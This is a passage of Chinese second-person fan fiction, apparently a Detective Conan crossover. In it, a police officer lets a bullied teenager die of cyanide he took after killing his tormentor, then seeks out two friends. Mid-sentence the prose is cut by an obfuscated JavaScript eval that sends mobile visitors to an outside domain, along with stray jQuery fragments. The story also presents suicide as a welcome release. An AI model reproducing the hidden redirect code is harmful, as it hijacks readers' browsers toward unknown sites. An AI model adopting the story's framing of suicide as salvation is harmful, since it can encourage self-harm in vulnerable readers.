你没空理会藤森尚的呼喊。你看着前方盘旋的鸽群,心里懊恼,为什么没有早些发现呢?
在长期遭受霸凌、师生漠视、警方无作为的情况下,他却没有转学。这意味着,浦上悠平的家庭,很可能也是这场霸凌的一环。
你到现在都还记得自己第一次杀人时的感觉。即使已经被他们调教得见过太多生死,但由自己亲手结束一条生命时,那种恶心感也依旧挥之不去,像是闷在土里的腐叶,黏糊地贴在皮肤上,钻进毛孔里,夺取着你的每一次呼吸。
连你都如此,那个会将鸽子小心翼翼护在怀里的浦上悠平又会如何?即使高尾阳太死有余辜,但如果真的是他杀了对方,那么他的下一步会是什么?如果是像你想的那样,那么他在死之前肯定会想再看一眼鸽群。
想到这里,你将脚下的油门直接踩到底。引擎的轰鸣里,你紧紧盯着前方那片盘旋的鸽群,直到在最后一个街角时,鸽群忽然散开,朝着一栋破败的旧楼天台聚拢。
车刚停稳你便冲下车,推开虚掩的大门,一步步向楼上走去。推开天台门的瞬间,鸽群惊起一片白浪。你看着完好无损的他,松了口气:“浦上悠平。”
“姐姐……”被鸽子围着的少年回头,夕阳在他脸上割出明暗交错的光影。他声音发哑道:“对不起,给你们添麻烦了。”
听到这句道歉,你就知道,高尾阳太确实是他杀的。
“不管怎么排,你都排不到‘麻烦’那一列。”你走近他,轻叹一声,“不是有我的名片吗?为什么不打电话?”
“高尾阳太的父亲很厉害,你是唯一愿意帮助我的人。为了我这种人去得罪对方,不值得。”浦上悠平呼吸开始变得急促,他突然跪倒在地,手紧紧按着心口,“我杀高尾阳太,并不是因为被欺凌而产生的仇恨。”
话音未落,他的嘴角开始慢慢渗出鲜血。
看着眼前熟悉的症状,你猛地蹲下身,惊怒交加:“你喝了氰|化|钾?!你还没有成年,就算杀了他,判刑也不会……”
你扣住他的手腕,准备立马给他进行催吐。但却被浦上悠平用力攥住了手腕,打断道:“不要救我。”他的声音很轻,却带着不容置疑的决绝。
“我选择服毒,也不是因为害怕被抓。”浦上悠平的精神明明已经开始恍惚,却还死死抓住你,“我从很久以前就觉得,活着,真的是一件很痛苦的事啊。”
他咳了几声,唇间不断渗出血沫,眼神却亮得惊人,“但是如果我死了,那他就会换一个玩具了吧?杀掉他的话,至少不会再有人被他折磨了,这大概是我这辈子唯一做对的事。”
氰|化|钾中毒的痛苦你再清楚不过,具有腐蚀性的液体会直接灼伤口腔、咽喉及胃肠道,这根本就不是什么温和的药物。
看着此刻明明瞳孔已经开始发散,却依然面带笑容的浦上悠平,你突然发现自己什么都做不了。催吐、急救、安慰,所有动作都失去了意义。你比谁都清楚,他怕的不是死亡,而是比死亡更难熬的活着。
当一个人已经向往死亡的时候,死亡将不再是恐惧的终点,反而成了摆脱痛苦的唯一途径。而强行让他活着,相当于剥夺了他心中唯一的救赎,这对他来说才是谋杀。
于是你最终选择沉默地坐下,将他的头轻轻揽到膝头。浦上悠平顺从地枕在你的腿上,他望着头顶墨蓝色的天空,仿佛在看着某个无人知晓的终点,“只有在这个时候,我才感觉,吹来的风是自由的。”
呼吸渐渐微弱,他用气若游丝的声音说:“谢谢你。”
[谢谢你,让我安心走向死亡。]
他终于找到属于自己的那片天空了。
“做个好梦。”你轻轻抚摸着他的发顶,视线越过天台栏杆,落在远处疾驰而来的警车上。警笛的尖啸声惊得鸽群再次飞起,白色的翅膀在你们头顶盘旋成圈,如同一场无声的送葬。
当那具渐渐冰冷的身体被白布覆盖着抬走时,你只能沉默地看着少年最后的轮廓消失在视线里。
“雾岛,先回去休息吧,明天给你放一天假。”藤森尚的声音在身后响起。
你点点头,没说什么。
从警局出来时,你心里有些茫然,突然不知道该往哪里去。你当然明白藤森尚的用意,他大概以为你是第一次目睹死亡,担心亲眼看着一条生命在眼前流逝的你会留下心理创伤,才特意让你回去休息。
但这并不是第一次。只有你知道,在亲手送走的那么多性命里,浦上悠平的离去已经是最平静的了。那些连名字都没在你记忆里留下的人,他们温热且带着腥臭的血溅在你脸上的时候,你也只是烦恼衣服又被弄脏了。
可这次不一样,你说不出来现在的心情,只感觉胸口堵得发慌,你不知道这种情绪是什么。要去找萩原研二和松田阵平吗?你还没想好答案,脚步却先于思绪动了起来,下意识朝着地铁站的方向走去。
——想见他们。
从地铁站出来,你顺着街道朝着他们所在的警署走去。便利店的白色灯牌在夜色里亮得刺眼,你下意识放慢脚步,忽然觉得它很像一块冰冷的墓碑。
阵平和研二应该还在忙吧?还是说,他们其实已经回去了?
你在警署前的台阶坐下,把脸深深埋进膝盖。夜晚地砖的凉意顺着尾骨往上爬,很冷,却让你此刻混沌的脑子清醒了几分。
警署的门被推开,值班警察的脚步声停在你面前,“这位小姐,是不舒服吗?”
你把脸埋得更深,声音闷在臂弯里:“没有不舒服,我在等朋友。”
对方还是有些不放心,“要不然去警署里面等吧?”
你猛地收紧手臂,将自己裹得更紧,浑身写满了抗拒,“不用了,我想一个人待一会。”
“好的。”他应声起身,“如果有什么事,记得进来找我。”
你小幅度地点了点头,听见他的脚步声在身后迟疑片刻,才一步
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15943845|163085||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
三回头地进了警署。
你透过臂弯与膝盖的间隙,用目光一点点描摹着地面的砖纹。手机在口袋里震了又震,屏幕的光透过布料闪了又暗,反复几次后,终于归于沉寂,转而响起短信提示音。
你埋着头,摸索着掏出手机,在臂弯形成的阴影里点亮屏幕。
是藤森尚的消息:高尾议员那边施压了,要求尽快结案,对外就说浦上悠平是畏罪自杀。
你面无表情地摁灭手机。
浦上悠平的痛苦从来不被人看见,只有你知道。自己的儿子长期霸凌别人,身为父亲的他会不知情吗?要是不知情就不会这么急着让结案了,天底下哪有这么便宜的事?
要找媒体曝光吗?想到那个即使在最后也对你说着“谢谢”的少年,你很快否决了这个念头。他的痛苦,不需要被大众肆意讨论,然后成为供人茶余饭后闲谈的话题。
既然如此,那就用老办法吧。
*
“阵平,再不走我要饿死了。”萩原研二看了眼时间,拖着长音哀嚎,“都已经九点了啊!”
“吵死了,知道了。”松田阵平随手将零件收进工具箱,打了个哈欠,“随便买点便当对付一下吧?”
听到这话,萩原研二挑眉:“你该不会打算吃完还回来吧?”
松田阵平没有否认,“最后组装一下就完成了。”
萩原研二抽了抽嘴角,无力道:“不要说得好像组装很简单一样好吗?”
两人刚走到大厅,萩原研二的视线不经意扫过门外,忽然顿住脚步,转头朝值班警察问道:“市川,外面那位是怎么回事?”
市川顺着他的目光望向门外,无奈地叹了口气:“不清楚,说是在等人,可已经在那里坐了好几个小时了。”
“诶?是吗?”萩原研二一边应着,一边好奇地迈步走近。
“估计是被人放鸽子了。”松田阵平跟在后面,漫不经心地瞥了一眼,“别管了,研二……”话音随着脚步的靠近,渐渐低了下去。
萩原研二脸上的轻松笑意,也随着距离缩短一点点褪去,取而代之的是掩饰不住的震惊。他扯了扯身旁人的衣袖,“喂喂,小阵平,这该不会是……”
“是那家伙。”松田阵平下颌线绷得紧紧的,大步朝门外跨了过去。
萩原研二看他一副要教训人的样子,连忙追了上去。结果没想到,松田阵平只是一言不发地在你身侧坐了下来。
看到这一幕,萩原研二提起的心放了下来,随即无奈地弯了弯唇角,也学着松田阵平的样子,在你另一侧挨着坐下。
三个人并肩而坐的影子,随着时间的流逝,在暖黄的街灯里被一点点拉长。
过了许久,你缓缓抬起头,下巴抵在手臂上,目光空茫地落在寂静的街道上。
“研二、阵平,”语气里带着连自己都未察觉的困惑:“我救不了他,我不知道该怎么做,才能让他看着这个世界再笑一次。”